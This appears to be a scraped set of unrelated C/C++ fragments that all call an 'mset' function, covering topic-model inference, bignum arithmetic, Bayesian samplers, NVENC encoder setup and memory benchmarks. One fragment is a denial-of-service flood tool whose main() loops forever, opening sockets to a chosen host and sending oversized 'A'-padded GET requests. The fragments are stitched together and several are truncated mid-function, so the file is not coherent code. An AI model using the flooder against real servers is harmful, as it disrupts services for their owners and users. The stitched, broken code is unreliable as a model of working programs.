/* wrapper to hide signal interface differrencies */
int joe_set_signal(int signum, sighandler_t handler)
{
int retval;
#ifdef HAVE_SIGACTION
struct sigaction sact;
mset(&sact, 0, sizeof(sact));
sact.sa_handler = handler;
#ifdef SA_INTERRUPT
sact.sa_flags = SA_INTERRUPT;
#endif
retval = sigaction(signum, &sact, NULL);
#elif defined(HAVE_SIGVEC)
struct sigvec svec;
mset(&svec, 0, sizeof(svec));
svec.sv_handler = handler;
#ifdef HAVE_SV_INTERRUPT
svec.sv_flags = SV_INTERRUPT;
#endif
retval = sigvec(signum, &svec, NULL);
#else
retval = (signal(signum, handler) != SIG_ERR) ? 0 : -1;
#ifdef HAVE_SIGINTERRUPT
siginterrupt(signum, 1);
#endif
#endif
return(retval);
}
int DPMHC_K(struct str_DPMHC *ptr_DPMHC_data)
{
int i_K = ptr_DPMHC_data->i_K;
gsl_vector *v_u = ptr_DPMHC_data->v_u;
gsl_vector *v_v = ptr_DPMHC_data->v_v;
gsl_vector *v_w = ptr_DPMHC_data->v_w;
gsl_matrix *m_DPtheta = ptr_DPMHC_data->m_DPtheta;
double d_DPalpha = ptr_DPMHC_data->d_DPalpha;
int K_tmp, K_new,j;
double a,v_j,w_j,csum,min_u;
//gsl_vector_view theta_j;
//int k_asset_number = P -> size1; /* number of assets in model */
K_tmp = i_K;
min_u = gsl_vector_min ( v_u );
a = 1.0 - min_u;
if( a == 1.0 )
printf("**********min_u = %g *************\n",min_u);
csum = 0.0;
j=0;
while ( csum <= a ){
/* check if new v_j,w_j and theta_j should be generated */
if( j >= K_tmp ){
v_j = gsl_ran_beta ( rng , 1.0, d_DPalpha );
vset( v_v, j, v_j);
w_j = v_j * (vget( v_w, j-1 )/vget(v_v,j-1))*(1.0-vget(v_v,j-1));
vset( v_w, j, w_j);
/* generate new mu, xi, tau from prior G_0 */
mset(m_DPtheta, j, 0,
ptr_DPMHC_data->d_m0 + gsl_ran_gaussian_ziggurat(rng, sqrt(ptr_DPMHC_data->d_s2m)));
mset(m_DPtheta, j, 1,
gsl_ran_gaussian_ziggurat(rng, ptr_DPMHC_data->d_A));
mset(m_DPtheta, j, 2,
gsl_ran_gamma(rng, 0.5, 0.5) );
}
csum += vget(v_w,j);
K_new = j + 1;
j++;
}
ptr_DPMHC_data->i_K = K_new;
return 0;
}
void mpolunit(MPOL *p, MINT *coef, MPOL *q)
{
register i;
MINT *resco,rem;
MPOL res;
if (p->nterms==0) {
mpolfree(q);
mset(0,coef);
return;
};
MINIT(&rem);
MFREE(coef);
MCOPY(&(p->coefs[0]),coef);
for (i=1;i<p->nterms;i++)
mgcd(coef,&(p->coefs[i]),coef);
MPOLINIT(&res);
res.nterms = p->nterms;
POL_ALLOC(&res,p->nterms);
resco = res.coefs;
for (i=0;i<p->nterms;i++){
MINIT(resco);
mdiv(&(p->coefs[i]),coef,(resco++),&rem);
expocopy(MEXPO(p,i),MEXPO(&res,i));
}
mpolfree(q);
MPOLMOVEFREE(&res,q);
MFREE(&rem);
}
void update_phi(int doc_number, int time,
lda_post* p, lda_seq* var,
gsl_matrix* g) {
int i, k, n, K = p->model->ntopics, N = p->doc->nterms;
double dig[p->model->ntopics];
for (k = 0; k < K; k++) {
dig[k] = gsl_sf_psi(vget(p->gamma, k));
}
for (n = 0; n < N; n++) {
// compute log phi up to a constant
int w = p->doc->word[n];
for (k = 0; k < K; k++) {
mset(p->log_phi, n, k,
dig[k] + mget(p->model->topics, w, k));
}
// normalize in log space
gsl_vector log_phi_row = gsl_matrix_row(p->log_phi, n).vector;
gsl_vector phi_row = gsl_matrix_row(p->phi, n).vector;
log_normalize(&log_phi_row);
for (i = 0; i < K; i++) {
vset(&phi_row, i, exp(vget(&log_phi_row, i)));
}
}
}
mstrtoul(MINT *a, char *s, char **p, short int b)
{
MINT y, base;
int c, dectop, alphatop;
short qy;
int i;
mset(0,a);
MSET(b,&base);
y.len = 1;
y.val = &qy;
dectop = (b <= 10) ? '0' + b - 1 : '9';
if (b > 10) alphatop = 'a' + b - 10;
i=0;
while (isxdigit(c=s[i++])) {
if (isupper(c)) c = c - 'A' + 'a';
if (c >= '0' && c <= dectop) {
qy = c - '0';
mmult(a,&base,a);
if (qy != 0) madd(a,&y,a);
continue;
} if (b > 10 && (c >= 'a' && c <= alphatop)) {
qy = c - 'a' + 10;
mmult(a,&base,a);
madd(a,&y,a);
continue;
}
};
if (p!=NULL) (*p)=(char *)s+i-1;
}
int main(int argc,char** argv){
printf("%s",TITLE);
get_arguments(argc,argv);
struct sockaddr_in s;
use.sizes=sizeof(s);
s.sin_family=AF_INET;
s.sin_addr.s_addr=inet_addr(use.host);
s.sin_port=htons(use.port);
printf("[*]connection established\n");
printf("[*]Sending packets!\n");
for(;;){
use.x++;
use.sockets = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (use.sockets < 0){
printf("line 81");
error_handle();
}
if (strcmp(use.option, "get") == 0){
copy_str(use.sendbytes, GET1, 5);
mset(use.sendbytes+5,0x41,999999);
copy_str(use.sendbytes+5+999999, GET2, 17);
}else{
if(strcmp(use.option,"flood")==0){
mset(use.sendbytes+5,0x41,999999);
}
}
if(connect(use.sockets,(struct sockaddr*)&s,use.sizes)<0){
printf("Nr of connections:%d\nline 89:",use.x);
error_handle();
}else{
printf(".");
}
if(send(use.sockets,use.sendbytes,sizeof(use.sendbytes),0)<0){
printf("Nr of sends:\nline 96:",use.x);
error_handle();
shutdown(use.sockets,1);
}else{
memset(use.recvbytes,0,BUFFSZ);
recv(use.sockets,use.recvbytes,BUFFSZ,0);
}
}
printf("[*]Done!\n");
return 0;
}
void maximization(llna_model* model, llna_ss* ss)
{
int i, j;
double sum;
// mean maximization
for (i = 0; i < model->k-1; i++)
vset(model->mu, i, vget(ss->mu_ss, i) / ss->ndata);
// covariance maximization
for (i = 0; i < model->k-1; i++)
{
for (j = 0; j < model->k-1; j++)
{
mset(model->cov, i, j,
(1.0 / ss->ndata) *
(mget(ss->cov_ss, i, j) +
ss->ndata * vget(model->mu, i) * vget(model->mu, j) -
vget(ss->mu_ss, i) * vget(model->mu, j) -
vget(ss->mu_ss, j) * vget(model->mu, i)));
}
}
if (PARAMS.cov_estimate == SHRINK)
{
cov_shrinkage(model->cov, ss->ndata, model->cov);
}
matrix_inverse(model->cov, model->inv_cov);
model->log_det_inv_cov = log_det(model->inv_cov);
// topic maximization
for (i = 0; i < model->k; i++)
{
sum = 0;
for (j = 0; j < model->log_beta->size2; j++)
sum += mget(ss->beta_ss, i, j);
if (sum == 0) sum = safe_log(sum) * model->log_beta->size2;
else sum = safe_log(sum);
for (j = 0; j < model->log_beta->size2; j++)
mset(model->log_beta, i, j, safe_log(mget(ss->beta_ss, i, j)) - sum);
}
}
int DPMHC_mu_smplr(struct str_DPMHC *ptr_DPMHC_data)
{
int i,j;
int i_n = ptr_DPMHC_data->v_y->size;
int i_K = ptr_DPMHC_data->i_K;
int i_nj;
double d_muj,d_s2j,d_yhatj;
double d_xij,d_tauj;
double d_m0 = ptr_DPMHC_data->d_m0;
double d_s2m = ptr_DPMHC_data->d_s2m;
gsl_vector *v_y = ptr_DPMHC_data->v_y;
gsl_vector_int *vi_S = ptr_DPMHC_data->vi_S;
gsl_vector_int *vi_n = ptr_DPMHC_data->vi_n;
gsl_matrix *m_theta = ptr_DPMHC_data->m_DPtheta;
// printf("\ni_K = %d\n",i_K);
for(j=0;j<i_K;j++){
d_yhatj = 0.;
i_nj = 0;
for(i=0;i<i_n;i++){
if( vget_int(vi_S,i) == j ){
d_yhatj += vget(v_y,i);
i_nj++;
}
}
if (vget_int(vi_n,j) != i_nj){
fprintf(stderr,"Error in DPMN_theta_polya_smplr(): vi_n[%d] does not equal i_nj\n", j);
exit(1);
}
d_xij = mget(m_theta,j,1);
d_tauj = mget(m_theta,j,2);
d_yhatj /= (d_xij * d_xij / d_tauj);
d_s2j = 1./( 1./d_s2m + i_nj/ (d_xij * d_xij / d_tauj) );
d_muj = d_s2j * ( d_m0/d_s2m + d_yhatj );
d_muj = d_muj + gsl_ran_gaussian_ziggurat(rng, sqrt(d_s2j));
mset(m_theta,j,0, d_muj);
// printf("%d: eta = %g lambda^2 = %g\n",j, mget(m_theta,j,0), mget(m_theta,j,1) );
}
return 0;
}
bool initNvEnc()
{
if (pNvEnc != 0)
return true;
if (!checkNvEnc())
return false;
nvEncLib = LoadLibrary(encodeLibName);
if(nvEncLib == 0)
{
NvLog(TEXT("Failed to load %s"), encodeLibName);
goto error;
}
PNVENCODEAPICREATEINSTANCE nvEncodeAPICreateInstance =
(PNVENCODEAPICREATEINSTANCE)GetProcAddress(nvEncLib, "NvEncodeAPICreateInstance");
if(nvEncodeAPICreateInstance == 0)
{
NvLog(TEXT("Failed to load nvenc entrypoint"));
goto error;
}
pNvEnc = new NV_ENCODE_API_FUNCTION_LIST;
assert(pNvEnc);
mset(pNvEnc, 0, sizeof(NV_ENCODE_API_FUNCTION_LIST));
pNvEnc->version = NV_ENCODE_API_FUNCTION_LIST_VER;
NVENCSTATUS status = nvEncodeAPICreateInstance(pNvEnc);
if (status != NV_ENC_SUCCESS)
{
NvLog(TEXT("Failed to get nvenc instance"));
goto error;
}
NvLog(TEXT("NVENC internal init finished successfully"));
return true;
error:
iNvencDeviceCount = 0;
delete pNvEnc;
pNvEnc = 0;
FreeLibrary(nvEncLib);
nvEncLib = 0;
NvLog(TEXT("NVENC internal init failed"));
return false;
}
int main(){
while(scanf("%s",str) == 1){
if(str[0] == '0')
break;
len = strlen(str);
mset(dp, 0);
printf(FS"\n", solve(0));
}
return 0;
}
int DPMHC_init(struct str_DPMHC *ptr_DPMHC_data, int i_draws){
int j;
int i_T = (ptr_DPMHC_data->vi_S)->size;
if (i_T == 0){
fprintf(stderr,"Error in DPMHC_init(): DPMHC_alloc() has not been called.\n");
exit(1);
}
int i_K;
gsl_matrix *m_DPtheta = ptr_DPMHC_data->m_DPtheta;
ptr_DPMHC_data->m_DPmcmc = gsl_matrix_alloc(i_draws, 2); // for draw of i_K and d_DPalpha
// initialize slice truction to K = 4 and one alive cluster, i_m = 1
i_K = ptr_DPMHC_data->i_K = 4;
ptr_DPMHC_data->i_m = 1;
gsl_vector_int_set_all(ptr_DPMHC_data->vi_S,0);
vset_int(ptr_DPMHC_data->vi_n,0,i_T);
// draw DP precision parameter d_DPalpha ~ Gamma(a,b)
double d_DPalpha;
d_DPalpha = ran_gamma(rng, ptr_DPMHC_data->d_a, ptr_DPMHC_data->d_b);
ptr_DPMHC_data->d_DPalpha = d_DPalpha;
// Draw initial mixture locations for K clusters
for(j = 0; j < i_K; j++){
mset(m_DPtheta, j, 0,
ptr_DPMHC_data->d_m0 + gsl_ran_gaussian_ziggurat(rng, sqrt(ptr_DPMHC_data->d_s2m)));
mset(m_DPtheta, j, 1,
gsl_ran_gaussian_ziggurat(rng, ptr_DPMHC_data->d_A));
mset(m_DPtheta, j, 2,
gsl_ran_gamma(rng, 0.5, 0.5) );
}
return 0;
}
int DPMHC_tau_smplr(struct str_DPMHC *ptr_DPMHC_data)
{
int i,j;
int i_n = ptr_DPMHC_data->v_y->size;
int i_K = ptr_DPMHC_data->i_K;
int i_nj;
double d_muj,d_yi;
double d_yhat;
double d_xij,d_tauj;
gsl_vector *v_y = ptr_DPMHC_data->v_y;
gsl_vector_int *vi_S = ptr_DPMHC_data->vi_S;
gsl_vector_int *vi_n = ptr_DPMHC_data->vi_n;
gsl_matrix *m_theta = ptr_DPMHC_data->m_DPtheta;
// printf("\ni_K = %d\n",i_K);
for(j=0;j<i_K;j++){
d_muj = mget(m_theta,j, 0);
d_xij = mget(m_theta,j, 1);
d_yhat = 0.;
i_nj = 0;
for(i=0;i<i_n;i++){
if( vget_int(vi_S,i) == j ){
d_yi = vget(v_y,i);
d_yhat += (d_yi/fabs(d_xij) - d_muj/fabs(d_xij)) * (d_yi/fabs(d_xij) - d_muj/fabs(d_xij));
i_nj++;
}
}
if (vget_int(vi_n,j) != i_nj){
fprintf(stderr,"Error in DPMN_tau_smplr(): vi_n[%d] does not equal i_nj\n", j);
exit(1);
}
d_tauj = gsl_ran_gamma(rng, 0.5 + (double)i_nj/2.0, 0.5 + d_yhat/2.0);
mset(m_theta,j, 2, d_tauj);
// printf("%d: eta = %g lambda^2 = %g\n",j, mget(m_theta,j,0), mget(m_theta,j,1) );
}
return 0;
}
void init_lda_post(lda_post* p) {
int k, n, K = p->model->ntopics, N = p->doc->nterms;
for (k = 0; k < K; k++)
{
vset(p->gamma, k,
vget(p->model->alpha,k) + ((double) p->doc->total)/K);
for (n = 0; n < N; n++)
mset(p->phi, n, k, 1.0/K);
}
p->doc_weight = NULL;
}
msqrt(MINT *a, MINT *b, MINT *r)
{ MINT x,y,z;
register alen,j;
MINIT(&x); MINIT(&y); MINIT(&z);
alen = a->len;
if (alen<0) mpfatal("msqrt: neg arg");
if (alen==0) {
mset(0,b);
mset(0,r);
return(0);
}
if(alen & 01) x.len = (1+alen)/2;
else x.len = 1 + alen/2;
valloc(x.val,x.len);
for (j=x.len; (--j)>=0;) x.val[j]=0;
if (alen & 01) x.val[x.len-1]=0400;
else x.val[x.len-1]=1;
for (;;) {
mdiv(a,&x,&y,&z);
madd(&x,&y,&y);
mshiftr(&y,1);
if (mcmp(&x,&y) <= 0) break;
mmove(&y,&x);
}
mcopy(&x,&y);
mmult(&x,&x,&x);
msub(a,&x,r);
MFREE(&x);
MMOVEFREE(&y,b);
MFREE(&z);
return(r->len);
}
int main(int argc, char * argv[])
{
int i,j;
// Allocate memory
char *m=(char *)malloc(SIZE);
if (m==NULL) { // Check for errors
perror("malloc");
return errno;
}
// Set memory
mset(m,0,SIZE);
// Free
free(m);
return 0;
}
void mmult(MINT *a, MINT *b, MINT *c)
{
register carry,i,j,x;
register short *aval, *bval;
short *cval;
int alen, blen, clen, sign;
#ifdef DEBUG
if (1) {printf("\n"); mout(a); printf(" * ");mout(b);printf(" = ");}
#endif
alen = a->len;
blen = b->len;
if (alen == 0 || blen == 0) {
mset(0,c);
return;
}
sign = 1;
if (alen < 0) { alen = -alen; sign = -1; }
if (blen < 0) { blen = -blen; sign = -sign; }
if (alen < blen) {
i = alen; alen = blen; blen = i;
bval = a->val; aval = b->val;
}
else { aval = a->val; bval = b->val; }
clen = alen+blen;
valloc(cval, clen);
if (blen == 1) {
/* We eliminate a lot of loop overhead on this common case. */
x = 0;
j = bval[0];
bval = cval;
for (i=0; i<alen; i++) {
x += j * aval[i];
bval[i] = x & 077777;
x >>= 15;
#if (! INTR)
(*PollPtr)();
#endif
}
bval[i] = x;
if (x == 0) clen = i; /* clen = alen+blen-1 == alen */
}
void c_ctr::init_model(int ctr_run) {
m_U = gsl_matrix_calloc(m_num_users, m_num_factors);
m_V = gsl_matrix_calloc(m_num_items, m_num_factors);
if (ctr_run) {
gsl_matrix_memcpy(m_V, m_theta);
}
else {
// this is for convenience, so that updates are similar.
m_theta = gsl_matrix_calloc(m_num_items, m_num_factors);
for (size_t i = 0; i < m_V->size1; i ++)
for (size_t j = 0; j < m_V->size2; j ++)
mset(m_V, i, j, runiform());
}
}
double c_ctr::doc_inference(const c_document* doc, const gsl_vector* theta_v,
const gsl_matrix* log_beta, gsl_matrix* phi,
gsl_vector* gamma, gsl_matrix* word_ss,
bool update_word_ss) {
double pseudo_count = 1.0;
double likelihood = 0;
gsl_vector* log_theta_v = gsl_vector_alloc(theta_v->size);
gsl_vector_memcpy(log_theta_v, theta_v);
vct_log(log_theta_v);
int n, k, w;
double x;
for (n = 0; n < doc->m_length; n ++) {
w = doc->m_words[n];
for (k = 0; k < m_num_factors; k ++)
mset(phi, n, k, vget(theta_v, k) * mget(m_beta, k, w));
gsl_vector_view row = gsl_matrix_row(phi, n);
vnormalize(&row.vector);
for (k = 0; k < m_num_factors; k ++) {
x = mget(phi, n, k);
if (x > 0)
likelihood += x*(vget(log_theta_v, k) + mget(log_beta, k, w) - log(x));
}
}
if (pseudo_count > 0) {
likelihood += pseudo_count * vsum(log_theta_v);
}
gsl_vector_set_all(gamma, pseudo_count); // smoothing with small pseudo counts
for (n = 0; n < doc->m_length; n ++) {
for (k = 0; k < m_num_factors; k ++) {
x = doc->m_counts[n] * mget(phi, n, k);
vinc(gamma, k, x);
if (update_word_ss) minc(word_ss, k, doc->m_words[n], x);
}
}
gsl_vector_free(log_theta_v);
return likelihood;
}
////////////////////////////////////////////////////////////////////////////////
// Main
////////////////////////////////////////////////////////////////////////////////
int main(int argc, char* argv[])
{
uint64_t start = getSystemTime();
if(start == -1)
return errno;
char *m = (char *)malloc(SIZE);
if (m==NULL) {
perror("malloc");
return errno;
}
mset(m, 0x8, SIZE);
//check(m, 0x8, SIZE); //uncomment this to check the output. (adds time)
free(m);
uint64_t fini = getSystemTime();
if(fini == -1)
return errno;
printf("Time: %lld\n",(fini-start));
return 0;
}
//短信唤醒并发送注册命令
void SmsWakeup(void)
{
static BYTE i,loc;
i = 0;
while(i<SmsLength)
{
if (SmsContent[i] == ',')
{
break;
}
i++;
}
if (i>=SmsLength)
{
goto Fail;
}
mset(IpAddrStr,0,16);
mset(PortStr,0,6);
mcpy(IpAddrStr,&SmsContent[3],i-3); // Server Ip Address
if (!CheckValidIpAddr())
{
goto Fail;
}
if (!StrToIpAdd((BYTE*)&SysParam[SP_SERVERIP]))
{
goto Fail;
}
loc = i;
mcpy(PortStr,&SmsContent[loc+1],SmsLength-loc-1); // Server Port
if (!CheckValidPort())
{
goto Fail;
}
if (!StrToPort((BYTE*)&SysParam[SP_SERVERPORT]))
{
goto Fail;
}
SaveSysParam();
NeedConnSrv = 1;
return;
Fail:
NeedConnSrv = 0;
mcpy(&SmsContent[SmsLength],"(Fail)\r\n",8);
SmsLength += 8;
if (SysParam[SP_MODTYPE] == GSM_MG323)
{
Send_Pdu_SMS();
}
else if (SysParam[SP_MODTYPE] == CDMA_MC323)
{
Send_Txt_SMS(SmsNumber, SmsContent);
}
}
void NVENCEncoder::init()
{
NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS stEncodeSessionParams = { 0 };
NV_ENC_PRESET_CONFIG presetConfig = { 0 };
GUID clientKey = NV_CLIENT_KEY;
CUcontext cuContextCurr;
NVENCSTATUS nvStatus = NV_ENC_SUCCESS;
int surfaceCount = 0;
GUID encoderPreset = NV_ENC_PRESET_HQ_GUID;
int useCustomPreset = AppConfig->GetInt(TEXT("Video Encoding"), TEXT("UseCustomSettings"));
if (useCustomPreset)
{
String presetString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("CustomSettings"), TEXT("default")).MakeLower();
if (presetString == TEXT("hp"))
encoderPreset = NV_ENC_PRESET_HP_GUID;
else if (presetString == TEXT("hq"))
encoderPreset = NV_ENC_PRESET_HQ_GUID;
else if (presetString == TEXT("bd"))
encoderPreset = NV_ENC_PRESET_BD_GUID;
else if (presetString == TEXT("ll"))
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;
else if (presetString == TEXT("llhp"))
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;
else if (presetString == TEXT("llhq"))
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
else
encoderPreset = NV_ENC_PRESET_DEFAULT_GUID;
}
TCHAR envClientKey[128] = { 0 };
DWORD envRes = GetEnvironmentVariable(TEXT("NVENC_KEY"), envClientKey, 128);
if (envRes > 0 && envRes <= 128)
{
if (CLSIDFromString(envClientKey, &clientKey) == NOERROR)
NvLog(TEXT("Got NVENC key from environment"));
else
NvLog(TEXT("NVENC_KEY environment variable has invalid format"));
}
mset(&initEncodeParams, 0, sizeof(NV_ENC_INITIALIZE_PARAMS));
mset(&encodeConfig, 0, sizeof(NV_ENC_CONFIG));
encodeConfig.version = NV_ENC_CONFIG_VER;
presetConfig.version = NV_ENC_PRESET_CONFIG_VER;
initEncodeParams.version = NV_ENC_INITIALIZE_PARAMS_VER;
stEncodeSessionParams.version = NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS_VER;
stEncodeSessionParams.apiVersion = NVENCAPI_VERSION;
stEncodeSessionParams.clientKeyPtr = &clientKey;
cuContext = 0;
checkCudaErrors(cuCtxCreate(&cuContext, 0, pNvencDevices[iNvencUseDeviceID]));
checkCudaErrors(cuCtxPopCurrent(&cuContextCurr));
stEncodeSessionParams.device = (void*)cuContext;
stEncodeSessionParams.deviceType = NV_ENC_DEVICE_TYPE_CUDA;
nvStatus = pNvEnc->nvEncOpenEncodeSessionEx(&stEncodeSessionParams, &encoder);
if (nvStatus != NV_ENC_SUCCESS)
{
encoder = 0;
NvLog(TEXT("nvEncOpenEncodeSessionEx failed - invalid license key?"));
goto error;
}
if (!populateEncodePresetGUIDs())
goto error;
if (!checkPresetSupport(encoderPreset))
{
NvLog(TEXT("Preset is not supported!"));
goto error;
}
nvStatus = pNvEnc->nvEncGetEncodePresetConfig(encoder, NV_ENC_CODEC_H264_GUID, encoderPreset, &presetConfig);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncGetEncodePresetConfig failed"));
goto error;
}
initEncodeParams.encodeGUID = NV_ENC_CODEC_H264_GUID;
initEncodeParams.encodeHeight = height;
initEncodeParams.encodeWidth = width;
initEncodeParams.darHeight = height;
initEncodeParams.darWidth = width;
initEncodeParams.frameRateNum = fps;
initEncodeParams.frameRateDen = 1;
initEncodeParams.enableEncodeAsync = 0;
initEncodeParams.enablePTD = 1;
initEncodeParams.presetGUID = encoderPreset;
initEncodeParams.encodeConfig = &encodeConfig;
memcpy(&encodeConfig, &presetConfig.presetCfg, sizeof(NV_ENC_CONFIG));
if (keyint != 0)
encodeConfig.gopLength = keyint * fps;
if (maxBitRate != -1)
{
encodeConfig.rcParams.averageBitRate = maxBitRate * 1000;
encodeConfig.rcParams.maxBitRate = maxBitRate * 1000;
}
if (bufferSize != -1)
encodeConfig.rcParams.vbvBufferSize = bufferSize * 1000;
if (bUseCBR)
encodeConfig.rcParams.rateControlMode = NV_ENC_PARAMS_RC_CBR;
encodeConfig.encodeCodecConfig.h264Config.enableVFR = bUseCFR ? 0 : 1;
encodeConfig.frameFieldMode = NV_ENC_PARAMS_FRAME_FIELD_MODE_FRAME;
encodeConfig.encodeCodecConfig.h264Config.bdirectMode = encodeConfig.frameIntervalP > 1 ? NV_ENC_H264_BDIRECT_MODE_TEMPORAL : NV_ENC_H264_BDIRECT_MODE_DISABLE;
encodeConfig.encodeCodecConfig.h264Config.idrPeriod = encodeConfig.gopLength;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourMatrix = colorDesc.matrix;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoFullRangeFlag = colorDesc.fullRange;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourPrimaries = colorDesc.primaries;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.transferCharacteristics = colorDesc.transfer;
nvStatus = pNvEnc->nvEncInitializeEncoder(encoder, &initEncodeParams);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncInitializeEncoder failed"));
goto error;
}
for (surfaceCount = 0; surfaceCount < maxSurfaceCount; ++surfaceCount)
{
NV_ENC_CREATE_INPUT_BUFFER allocSurf = { 0 };
allocSurf.version = NV_ENC_CREATE_INPUT_BUFFER_VER;
allocSurf.width = (width + 31) & ~31;
allocSurf.height = (height + 31) & ~31;
allocSurf.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;
allocSurf.bufferFmt = NV_ENC_BUFFER_FORMAT_NV12_PL;
nvStatus = pNvEnc->nvEncCreateInputBuffer(encoder, &allocSurf);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncCreateInputBuffer #%d failed"), surfaceCount);
goto error;
}
inputSurfaces[surfaceCount].width = allocSurf.width;
inputSurfaces[surfaceCount].height = allocSurf.height;
inputSurfaces[surfaceCount].locked = false;
inputSurfaces[surfaceCount].useCount = 0;
inputSurfaces[surfaceCount].inputSurface = allocSurf.inputBuffer;
NV_ENC_CREATE_BITSTREAM_BUFFER allocOut = { 0 };
allocOut.version = NV_ENC_CREATE_BITSTREAM_BUFFER_VER;
allocOut.size = 1024 * 1024;
allocOut.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;
nvStatus = pNvEnc->nvEncCreateBitstreamBuffer(encoder, &allocOut);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("Failed allocating bitstream #%d buffer"), surfaceCount);
outputSurfaces[surfaceCount].outputSurface = 0;
surfaceCount += 1;
goto error;
}
outputSurfaces[surfaceCount].outputSurface = allocOut.bitstreamBuffer;
outputSurfaces[surfaceCount].size = allocOut.size;
outputSurfaces[surfaceCount].busy = false;
}
NvLog(TEXT("------------------------------------------"));
NvLog(TEXT("%s"), GetInfoString().Array());
NvLog(TEXT("------------------------------------------"));
alive = true;
return;
error:
alive = false;
for (int i = 0; i < surfaceCount; ++i)
{
pNvEnc->nvEncDestroyInputBuffer(encoder, inputSurfaces[i].inputSurface);
if (outputSurfaces[i].outputSurface != 0)
pNvEnc->nvEncDestroyBitstreamBuffer(encoder, outputSurfaces[i].outputSurface);
}
surfaceCount = 0;
if (encoder)
pNvEnc->nvEncDestroyEncoder(encoder);
encoder = 0;
if (cuContext)
cuCtxDestroy(cuContext);
}
void update_phi_fixed(int doc_number, int time,
lda_post* p, lda_seq* var,
gsl_matrix* g3_matrix,
gsl_matrix* g4_matrix,
gsl_matrix* g5_matrix) {
// Hate to do this, but I had problems allocating this data
// structure.
if (scaled_influence == NULL) {
scaled_influence = NewScaledInfluence(FLAGS_max_number_time_points);
}
int i, k, n, K = p->model->ntopics, N = p->doc->nterms;
double dig[p->model->ntopics];
double k_sum = 0.0;
for (k = 0; k < K; k++) {
double gamma_k = vget(p->gamma, k);
dig[k] = gsl_sf_psi(gamma_k);
k_sum += gamma_k;
}
double dig_sum = gsl_sf_psi(k_sum);
gsl_vector_view document_weights;
if (var && var->influence) {
document_weights = gsl_matrix_row(
var->influence->doc_weights[time], doc_number);
}
for (n=0; n < N; ++n) {
int w = p->doc->word[n];
// We have info. about the topics. Use them!
// Try two alternate approaches. We compare results of the new
// algorithm with the old to make sure we're not doing anything
// silly.
for (k = 0; k < K; ++k) {
// Find an estimate for log_phi_nk.
double doc_weight = 0.0;
sslm_var* topic = var->topic[k];
const double chain_variance = topic->chain_variance;
// These matrices are already set up for the correct time.
double g3 = mget(g3_matrix, w, k);
double g4 = mget(g4_matrix, w, k);
double g5 = mget(g5_matrix, w, k);
double w_phi_sum = gsl_matrix_get(
var->topic[k]->w_phi_sum, w, time);
// Only set these variables if we are within the correct
// time window.
if (time < var->nseq) {
doc_weight = gsl_vector_get(&document_weights.vector, k);
}
double term_weight;
if (FLAGS_normalize_docs == "normalize") {
term_weight = ((double) p->doc->count[n]
/ (double) p->doc->total);
} else if (FLAGS_normalize_docs == "log") {
term_weight = log(p->doc->count[n] + 1.0);
} else if (FLAGS_normalize_docs == "log_norm") {
term_weight = log(p->doc->count[n] / p->doc->total);
} else if (FLAGS_normalize_docs == "identity") {
term_weight = p->doc->count[n];
} else if (FLAGS_normalize_docs == "occurrence") {
term_weight = ((double) p->doc->count[n]
/ (double) p->doc->total);
} else {
assert(0);
}
assert(var != NULL);
double total, term1, term2, term3, term4;
double phi_last = 0.0;
// It's unnecessary to always multiply by 1/chain_variance
// this deep in a loop, but it's likely not a major
// bottleneck.
term1 = dig[k] + mget(p->model->topics, w, k);
term2 = (g3
* term_weight
* doc_weight
/ chain_variance);
term3 = (term_weight
* doc_weight
* g4
/ chain_variance);
term4 = (term_weight * term_weight
* (phi_last * (doc_weight * doc_weight)
- (doc_weight * doc_weight
+ FLAGS_sigma_l * FLAGS_sigma_l))
* g5
/ chain_variance);
// Note: we're ignoring term3. sgerrish: 18 July 2010:
// Changing term2 to have a positive coefficient (instead of
// negative) to be consistent with parallel version.
// sgerrish: 23 July 2010: changing term2 back to negative,
// to try to reproduce earlier results.
total = term1 - term2 - term3 + term4;
mset(p->log_phi, n, k, total);
}
// Normalize in log space.
gsl_vector log_phi_row = gsl_matrix_row(p->log_phi, n).vector;
gsl_vector phi_row = gsl_matrix_row(p->phi, n).vector;
log_normalize(&log_phi_row);
for (i = 0; i < K; i++) {
vset(&phi_row, i, exp(vget(&log_phi_row, i)));
}
}
}
void minc(gsl_matrix* m, int i, int j, double x)
{
mset(m, i, j, mget(m, i, j) + x);
}
void NVENCEncoder::init()
{
NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS stEncodeSessionParams = {0};
NV_ENC_PRESET_CONFIG presetConfig = {0};
GUID clientKey = NV_CLIENT_KEY;
CUcontext cuContextCurr;
NVENCSTATUS nvStatus = NV_ENC_SUCCESS;
int surfaceCount = 0;
GUID encoderPreset = NV_ENC_PRESET_HQ_GUID;
dontTouchConfig = false;
bool is2PassRC = false;
String profileString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("X264Profile"), TEXT("high"));
String presetString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("NVENCPreset"), TEXT("High Quality"));
if (presetString == TEXT("High Performance"))
{
encoderPreset = NV_ENC_PRESET_HP_GUID;
}
else if (presetString == TEXT("High Quality"))
{
encoderPreset = NV_ENC_PRESET_HQ_GUID;
}
else if (presetString == TEXT("Bluray Disk"))
{
encoderPreset = NV_ENC_PRESET_BD_GUID;
}
else if (presetString == TEXT("Low Latency (2pass)"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;
is2PassRC = true;
}
else if (presetString == TEXT("High Performance Low Latency (2pass)"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;
is2PassRC = true;
}
